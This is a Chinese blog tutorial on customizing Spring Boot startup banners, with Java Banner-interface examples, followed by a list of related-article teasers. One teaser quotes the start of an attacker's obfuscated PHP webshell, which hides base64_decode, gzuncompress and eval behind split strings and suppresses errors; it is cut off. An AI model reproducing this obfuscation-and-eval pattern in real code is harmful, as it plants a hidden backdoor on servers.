深入探索 Spring Boot 自定义启动画面
目录
- 引言
- 什么是 Spring Boot 启动画面
- Spring Boot 默认启动画面
- 为什么要自定义启动画面
- 如何自定义 Spring Boot 启动画面
- 修改配置文件
- 使用 Banner 接口
- 通过图片实现启动画面
- ASCII 艺术画的应用
- 进阶:基于环境变量的动态 Banner
- 多模块项目中的启动画面
- Spring Boot 启动画面最佳实践
- 常见问题及解决方案
- 结论
引言
Spring Boot 是现代 Java 开发中的一个重要框架,它简化了基于 Spring 的应用程序的创建过程。其快速开发、配置灵活、内嵌服务器等特点使得它在微服务架构中尤为流行。在启动 Spring Boot 应用程序时,会看到一个默认的启动画面(Banner),这个画面不仅仅是一个装饰,还可以包含一些有用的信息。本文将深入探讨如何自定义 Spring Boot 的启动画面,让你的应用程序更加个性化和专业化。
什么是 Spring Boot 启动画面
Spring Boot 启动画面,即 Banner,是在启动 Spring Boot 应用时显示在控制台的一段 ASCII 艺术画或文本信息。这个启动画面默认包含了 Spring Boot 的标识和版本信息,但你可以根据需求自定义其内容。
Spring Boot 默认启动画面
Spring Boot 的默认启动画面包含了 “Spring” 字样的 ASCII 艺术画和版本信息,位于 org.springframework.boot.Banner 类中。默认的启动画面如下:
. ____ _ __ _ _/\\ / ___'_ __ _ _(_)_ __ __ _ \ \ \ \
( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \\\/ ___)| |_)| | | | | || (_| | ) ) ) )' |____| .__|_| |_|_| |_\__, | / / / /=========|_|==============|___/=/_/_/_/:: Spring Boot :: (v2.4.5)
为什么要自定义启动画面
自定义启动画面可以为你的应用程序带来以下几个好处:
- 品牌识别:通过在启动画面中加入公司 Logo 或项目名称,可以增强品牌的辨识度。
- 信息展示:可以显示项目版本、启动时间、环境变量等有用的信息,便于开发和运维人员快速获取。
- 个性化:使你的应用程序看起来更加专业和独特。
如何自定义 Spring Boot 启动画面
Spring Boot 提供了多种自定义启动画面的方法,以下是一些常见的方式:
修改配置文件
最简单的方式是通过配置文件来修改 Banner。你可以在 src/main/resources 目录下创建一个名为 banner.txt 的文件,然后将你想要显示的内容写入该文件。
例如:
banner.txt:
____ _ _ _| __ ) __ _ _ __ | |_| |_ __| |_ __ __| _ \ / _` | '_ \| __| __/ _` | '_ \ \/ /| |_) | (_| | | | | |_| || (_| | | | > <|____/ \__,_|_| |_|\__|\__\__,_|_| |_/\_\:: My Spring Boot Application :: (v1.0.0)
在启动应用程序时,你将会看到自定义的启动画面。
使用 Banner 接口
Spring Boot 还提供了 Banner 接口,你可以通过实现这个接口来自定义启动画面。
首先,创建一个类实现 org.springframework.boot.Banner 接口:
import org.springframework.boot.Banner;
import org.springframework.core.env.Environment;
import org.springframework.core.io.ResourceLoader;import java.io.PrintStream;public class CustomBanner implements Banner {@Overridepublic void printBanner(Environment environment, Class<?> sourceClass, PrintStream out) {out.println(" ____ _ _ _ ");out.println(" | __ ) __ _ _ __ | |_| |_ __| |_ __ __");out.println(" | _ \\ / _` | '_ \\| __| __/ _` | '_ \\ \\/ /");out.println(" | |_) | (_| | | | | |_| || (_| | | | > < ");out.println(" |____/ \\__,_|_| |_|\\__|\\__\\__,_|_| |_/_/\\_\\");out.println(" :: My Spring Boot Application :: (v1.0.0)");}
}
然后,在应用程序的启动类中设置自定义的 Banner:
import org.springframework.boot.Banner;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;@SpringBootApplication
public class Application {public static void main(String[] args) {SpringApplication app = new SpringApplication(Application.class);app.setBanner(new CustomBanner());app.run(args);}
}
通过图片实现启动画面
如果你希望使用图片作为启动画面,可以使用一些工具将图片转换为 ASCII 艺术画,然后将结果放入 banner.txt 中。
例如,使用 Patorjk 生成 ASCII 艺术画,将其放入 banner.txt:
_______ __ __ __/ \ / | / |/ |$$$$$$$ | __ __ _____$$ | $$ |$$/ _______$$ |__$$ |/ | / |/ $$ | $$ |/ |/ \$$ $$< $$ | $$ |$$$$$$$ $$ | $$ |$$ |$$$$$$$ |$$$$$$$ |$$ | $$ |$$ | $$ $$ | $$ |$$ |$$ | $$ |$$ |__$$ |$$ \__$$ |$$ \__$$ $$ \__$$ |$$ |$$ | $$ |$$ $$/ $$ $$/ $$ $$/ $$ $$/$$ |$$ | $$ |$$$$$$$/ $$$$$$/ $$$$$$/ $$$$$$/ $$/ $$/ $$/
ASCII 艺术画的应用
ASCII 艺术画是一种使用字符组合形成图形的艺术形式,非常适合用来制作启动画面。可以使用在线工具如 ASCII Art Generator 来创建你的启动画面。
以下是一个示例,将 ASCII 艺术画保存到 banner.txt 文件中:
_____ _ ____ _ / ____| | | | _ \ | | | (___ _ __ ___ _ __ | | ___ _ _| |_) | __ _ _ __ | |_ \___ \| '_ ` _ \| '_ \| |/ _ \| | | | _ < / _` | '_ \| __|____) | | | | | | |_) | | (_) | |_| | |_) | (_| | | | | |_ |_____/|_| |_| |_| .__/|_|\___/ \__, |____/ \__,_|_| |_|\__|| | __/ | |_| |___/ :: Spring Boot Custom Banner ::
进阶:基于环境变量的动态 Banner
有时你可能希望根据不同的环境变量来显示不同的启动画面。可以在 Banner 接口实现类中动态生成 Banner 内容。
以下是一个示例,根据环境变量显示不同的 Banner:
import org.springframework.boot.Banner;
import org.springframework.core.env.Environment;import java.io.PrintStream;public class DynamicBanner implements Banner {@Overridepublic void printBanner(Environment environment, Class<?> sourceClass, PrintStream out) {String profile = environment.getProperty("spring.profiles.active");if ("dev".equals(profile)) {out.println(" ____ _ _ _ ");out.println(" | _ \\ __ _ _ __ | |_| |_ __| |_ __ __");out.println(" | | | |/ _` | '_ \\| __| __/ _` | '_ \\ \\/ /");out.println(" | |_| | (_| | | | | |_| || (_| | | | > < ");out.println(" |____/ \\__,_|_| |_|\\__|\\__\\__,_|_| |_/_/\\_\\");out.println(" :: Development Environment ::");} else if ("prod".equals(profile)) {out.println(" ____ _ _ _ ");out.println(" | _ \\ __ _ _ __ | |_| |_ __| |_ __ __");out.println(" | | | |/ _` | '_ \\| __| __/ _` | '_ \\ \\/ /");out.println(" | |_| | (_| | | | | |_| || (_| | | | > < ");out.println(" |____/ \\__,_|_| |_|\\__|\\__\\__,_|_| |_/_/\\_\\");out.println(" :: Production Environment ::");} else {out.println(" ____ _ _ _ ");out.println(" | _ \\ __ _ _ __ | |_| |_ __| |_ __ __");out.println(" | | | |/ _` | '_ \\| __| __/ _` | '_ \\ \\/ /");out.println(" | |_| | (_| | | | | |_| || (_| | | | > < ");out.println(" |____/ \\__,_|_| |_|\\__|\\__\\__,_|_| |_/_/\\_\\");out.println(" :: Default Environment ::");}}
}
然后在 Spring Boot 应用程序的启动类中使用这个自定义的 Banner 类:
import org.springframework.boot.Banner;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;@SpringBootApplication
public class Application {public static void main(String[] args) {SpringApplication app = new SpringApplication(Application.class);app.setBanner(new DynamicBanner());app.run(args);}
}
这样,根据 spring.profiles.active 环境变量的不同,启动时会显示不同的启动画面,帮助开发者快速区分环境。
多模块项目中的启动画面
在多模块项目中,每个模块都可以有自己的启动类和自定义 Banner。你可以针对每个模块定义不同的启动画面,以反映出每个模块的独特性和用途。
Spring Boot 启动画面最佳实践
在使用自定义启动画面时,有几点最佳实践值得注意:
- 简洁明了:启动画面应该简洁明了,不要包含过多的信息,避免干扰应用程序启动过程的主要信息。
- 品牌标识:合理使用品牌 Logo 和名称,增强应用程序的专业度和品牌识别度。
- 信息实用:可以显示一些对开发和运维有帮助的信息,如版本号、环境配置等,方便排查问题和调试。
常见问题及解决方案
在使用自定义启动画面过程中,可能会遇到一些常见问题,例如显示不正确或排版混乱等。可以通过以下方法解决:
- 检查 ASCII 艺术画:确保 ASCII 艺术画的格式正确,每一行的字符数一致,避免出现排版问题。
- 调整控制台宽度:有时候控制台的宽度会影响 ASCII 艺术画的显示效果,可以调整控制台的宽度来适应。
- 使用工具生成:可以使用在线工具生成 ASCII 艺术画,确保其格式正确。
结论
通过本文的介绍,你了解了如何在 Spring Boot 应用程序中自定义启动画面。无论是简单的文本信息还是复杂的 ASCII 艺术画,都可以根据你的需求进行定制。自定义启动画面不仅可以增加应用程序的个性化特色,还能提升开发和运维过程中的信息展示和识别效率。希望本文能够帮助你更好地理解和应用 Spring Boot 启动画面定制技术,为你的应用程序增添一份独特的魅力!
相关文章:
深入探索 Spring Boot 自定义启动画面
目录 引言什么是 Spring Boot 启动画面Spring Boot 默认启动画面为什么要自定义启动画面如何自定义 Spring Boot 启动画面 修改配置文件使用 Banner 接口通过图片实现启动画面ASCII 艺术画的应用 进阶:基于环境变量的动态 Banner多模块项目中的启动画面Spring Boot…...
Redis实战—Redis分布式锁
本博客为个人学习笔记,学习网站与详细见:黑马程序员Redis入门到实战 P56 - P63 目录 分布式锁介绍 基于Redis的分布式锁 Redis锁代码实现 修改业务代码 分布式锁误删问题 分布式锁原子性问题 Lua脚本 编写脚本 代码优化 总结 分布式锁介绍…...
联想Y7000P 2023款拆机教程及升级内存教程
0.电脑参数介绍 联想Y7000P 2023电脑,笔者电脑CPU为i7-13700H,14核20线程;标配内存为三星的DDR5-5600MHz-8GB*2,由于电脑CPU限制,实际内存跑的频率为5200MHz; 2个内存插槽,2个固态硬盘插槽。每个内存插槽最…...
开发常用依赖
目录 代理对象 Swagger Web 单元测试 MybatisPlus Lombok Mysql SpringBoot Jdk SpringCloud 数据库驱动包 hutool工具 配置仓库 通用库 maven插件 nacos注册中心 OpenFeign Spring AMQP JSON转换器 Redis 邮箱验证 Redisson分布式锁 客户端 代理对象 &l…...
【区分vue2和vue3下的element UI Empty 空状态组件,分别详细介绍属性,事件,方法如何使用,并举例】
在 Element UI(为 Vue 2 设计)和 Element Plus(为 Vue 3 设计)中,Empty(空状态)组件通常用于在数据为空或没有内容时向用户展示一种占位提示。然而,需要注意的是,Element…...
【AI作曲】毁掉音乐?早该来了!一个网易音乐人对于 AI 大模型音乐创作的思辨
引言:AI在创造还是毁掉音乐? 正如当初 midjourney 和 StableDiffusion 在绘画圈掀起的风波一样,suno 和 各大音乐大模型的来临,其实早该来了。 AI 在毁掉绘画?或者毁掉音乐? 没错,但也错了。…...
RabbitMQ实践——最大长度队列
大纲 抛弃消息创建最大长度队列绑定实验 转存死信创建死信队列创建可重写Routing key的最大长度队列创建绑定关系实验 在一些业务场景中,我们只需要保存最近的若干条消息,这个时候我们就可以使用“最大长度队列”来满足这个需求。该队列在收到消息后&…...
【pytorch02】手写数字问题引入
1.数据集 现实生活中遇到的问题 车牌识别身份证号码识别快递单的识别 都会涉及到数字识别 MNIST(收集了很多人手写的0到9数字的图片) 每个数字拥有7000个图像train/test splitting:60k vs 10k 图片大小28 28 数据集划分成训练集和测试集合的意义…...
【查看显卡信息】——Ubuntu和windows
1、VMware虚拟机 VMware虚拟机上不能使用CUDA/CUDNN,也安装不了显卡驱动 查看显卡信息: lspci | grep -i vga 不会显示显卡信息,只会输出VMware SVGA II Adapter,表示这是一个虚拟机,无法安装和使用显卡驱动 使用上…...
在 RK3568 上构建 Android 11 模块:深入解析 m、mm、mmm 编译命令
目录 Android 编译系统概述编译命令简介 环境准备使用 m、mm、mmm 编译模块编译整个源码树编译单个模块编译指定目录下的模块 高级应用并行编译清理编译结果编译特定配置 在 Android 开发中,特别是在 RK3568 这样的高性能平台上,有效地编译和管理模块是确…...
实战|YOLOv10 自定义目标检测
引言 YOLOv10[1] 概述和使用自定义数据训练模型 概述 由清华大学的研究团队基于 Ultralytics Python 包研发的 YOLOv10,通过优化模型结构并去除非极大值抑制(NMS)环节,提出了一种创新的实时目标检测技术。这些改进不仅实现了行业领…...
TTS前端原理学习 chatgpt生成答案
第一篇文章学习 小绿鲸阅读器 通篇使用chatgpt生成答案 文章: https://arxiv.org/pdf/2012.15404 1. 文章概述 本文提出了一种基于Distilled BERT模型的统一普通话文本到语音前端模块。该模型通过预训练的中文BERT作为文本编码器,并采用多任务学习技术…...
AI“音乐创作”横行给音乐家带来哪些隐忧
近日,200多名国际乐坛知名音乐人联署公开信,呼吁AI开发者、科技公司、平台和数字音乐服务商停止使用人工智能(AI)来侵犯并贬低人类艺术家的权利,具体诉求包括,停止使用AI侵犯及贬低人类艺术家的权利,要求…...
SolidityFoundry 安全审计测试 Delegatecall漏洞2
名称: Delegatecall漏洞2 https://github.com/XuHugo/solidityproject/tree/master/vulnerable-defi 描述: 我们已经了解了delegatecall 一个基础的漏洞——所有者操纵漏洞,这里就不再重复之前的基础知识了,不了解或者遗忘的可…...
【字符串 状态机动态规划】1320. 二指输入的的最小距离
本文涉及知识点 动态规划汇总 字符串 状态机动态规划 LeetCode1320. 二指输入的的最小距离 二指输入法定制键盘在 X-Y 平面上的布局如上图所示,其中每个大写英文字母都位于某个坐标处。 例如字母 A 位于坐标 (0,0),字母 B 位于坐标 (0,1)࿰…...
2024.06.23【读书笔记】丨生物信息学与功能基因组学(第十七章 人类基因组 第三部分)【AI测试版】
第三部分:人类基因组的深入分析与比较基因组学 摘要: 本部分基于2001年国际人类基因组测序联盟(IHGSC)发布的人类基因组测序及分析草图,从生物信息学角度深入讨论了人类基因组的结构特征和分析方法。同时,提及了塞莱拉公司(Celera Genomics)版本的人类基因组草图及其…...
外观模式(大话设计模式)C/C++版本
外观模式 C #include <iostream> using namespace std;class stock1 { public:void Sell(){cout << "股票1卖出" << endl;}void Buy(){cout << "股票1买入" << endl;} };class stock2 { public:void Sell(){cout << …...
PHP木马原文
攻击者留下的源码 <?php $ZimXb strre.v; $SkYID ba.se64._d.eco.de; $qetGk g.zuncomp.ress; ini_set(display_errors, 0); ini_set(log_errors, 0); /*** 13f382ef7053c327e26dff2a9c14affbd9e8296a ***/ error_reporting(0); eval($qetGk($SkYID($ZimXb(Q2WA…...
湖南(市场调研)源点咨询 新产品上市前市场机会调研与研究分析
湖南源点调研认为:无论是创业公司,还是在公司内部探索新的项目或者新的产品线等,首先都要做“市场机会分析与调研“,要真正思考并解答以下疑问: 我们的目标客户群体是谁,他们如何决策? 我们所…...
Vue82-组件内路由守卫
一、组件内路由守卫的定义 在一个组件里面去写路由守卫,而不是在路由配置文件index.js中去写。 此时,该路由守卫是改组件所独有的! 只有通过路由规则进入的方式,才会调这两个函数,否则,若是只是用<Ab…...
Zustand 状态管理库:极简而强大的解决方案
Zustand 是一个轻量级、快速和可扩展的状态管理库,特别适合 React 应用。它以简洁的 API 和高效的性能解决了 Redux 等状态管理方案中的繁琐问题。 核心优势对比 基本使用指南 1. 创建 Store // store.js import create from zustandconst useStore create((set)…...
2024年赣州旅游投资集团社会招聘笔试真
2024年赣州旅游投资集团社会招聘笔试真 题 ( 满 分 1 0 0 分 时 间 1 2 0 分 钟 ) 一、单选题(每题只有一个正确答案,答错、不答或多答均不得分) 1.纪要的特点不包括()。 A.概括重点 B.指导传达 C. 客观纪实 D.有言必录 【答案】: D 2.1864年,()预言了电磁波的存在,并指出…...
Java多线程实现之Callable接口深度解析
Java多线程实现之Callable接口深度解析 一、Callable接口概述1.1 接口定义1.2 与Runnable接口的对比1.3 Future接口与FutureTask类 二、Callable接口的基本使用方法2.1 传统方式实现Callable接口2.2 使用Lambda表达式简化Callable实现2.3 使用FutureTask类执行Callable任务 三、…...
屋顶变身“发电站” ,中天合创屋面分布式光伏发电项目顺利并网!
5月28日,中天合创屋面分布式光伏发电项目顺利并网发电,该项目位于内蒙古自治区鄂尔多斯市乌审旗,项目利用中天合创聚乙烯、聚丙烯仓库屋面作为场地建设光伏电站,总装机容量为9.96MWp。 项目投运后,每年可节约标煤3670…...
Netty从入门到进阶(二)
二、Netty入门 1. 概述 1.1 Netty是什么 Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers & clients. Netty是一个异步的、基于事件驱动的网络应用框架,用于…...
【 java 虚拟机知识 第一篇 】
目录 1.内存模型 1.1.JVM内存模型的介绍 1.2.堆和栈的区别 1.3.栈的存储细节 1.4.堆的部分 1.5.程序计数器的作用 1.6.方法区的内容 1.7.字符串池 1.8.引用类型 1.9.内存泄漏与内存溢出 1.10.会出现内存溢出的结构 1.内存模型 1.1.JVM内存模型的介绍 内存模型主要分…...
学习一下用鸿蒙DevEco Studio HarmonyOS5实现百度地图
在鸿蒙(HarmonyOS5)中集成百度地图,可以通过以下步骤和技术方案实现。结合鸿蒙的分布式能力和百度地图的API,可以构建跨设备的定位、导航和地图展示功能。 1. 鸿蒙环境准备 开发工具:下载安装 De…...
LangChain 中的文档加载器(Loader)与文本切分器(Splitter)详解《二》
🧠 LangChain 中 TextSplitter 的使用详解:从基础到进阶(附代码) 一、前言 在处理大规模文本数据时,特别是在构建知识库或进行大模型训练与推理时,文本切分(Text Splitting) 是一个…...
《信号与系统》第 6 章 信号与系统的时域和频域特性
目录 6.0 引言 6.1 傅里叶变换的模和相位表示 6.2 线性时不变系统频率响应的模和相位表示 6.2.1 线性与非线性相位 6.2.2 群时延 6.2.3 对数模和相位图 6.3 理想频率选择性滤波器的时域特性 6.4 非理想滤波器的时域和频域特性讨论 6.5 一阶与二阶连续时间系统 6.5.1 …...
从实验室到产业:IndexTTS 在六大核心场景的落地实践
一、内容创作:重构数字内容生产范式 在短视频创作领域,IndexTTS 的语音克隆技术彻底改变了配音流程。B 站 UP 主通过 5 秒参考音频即可克隆出郭老师音色,生成的 “各位吴彦祖们大家好” 语音相似度达 97%,单条视频播放量突破百万…...
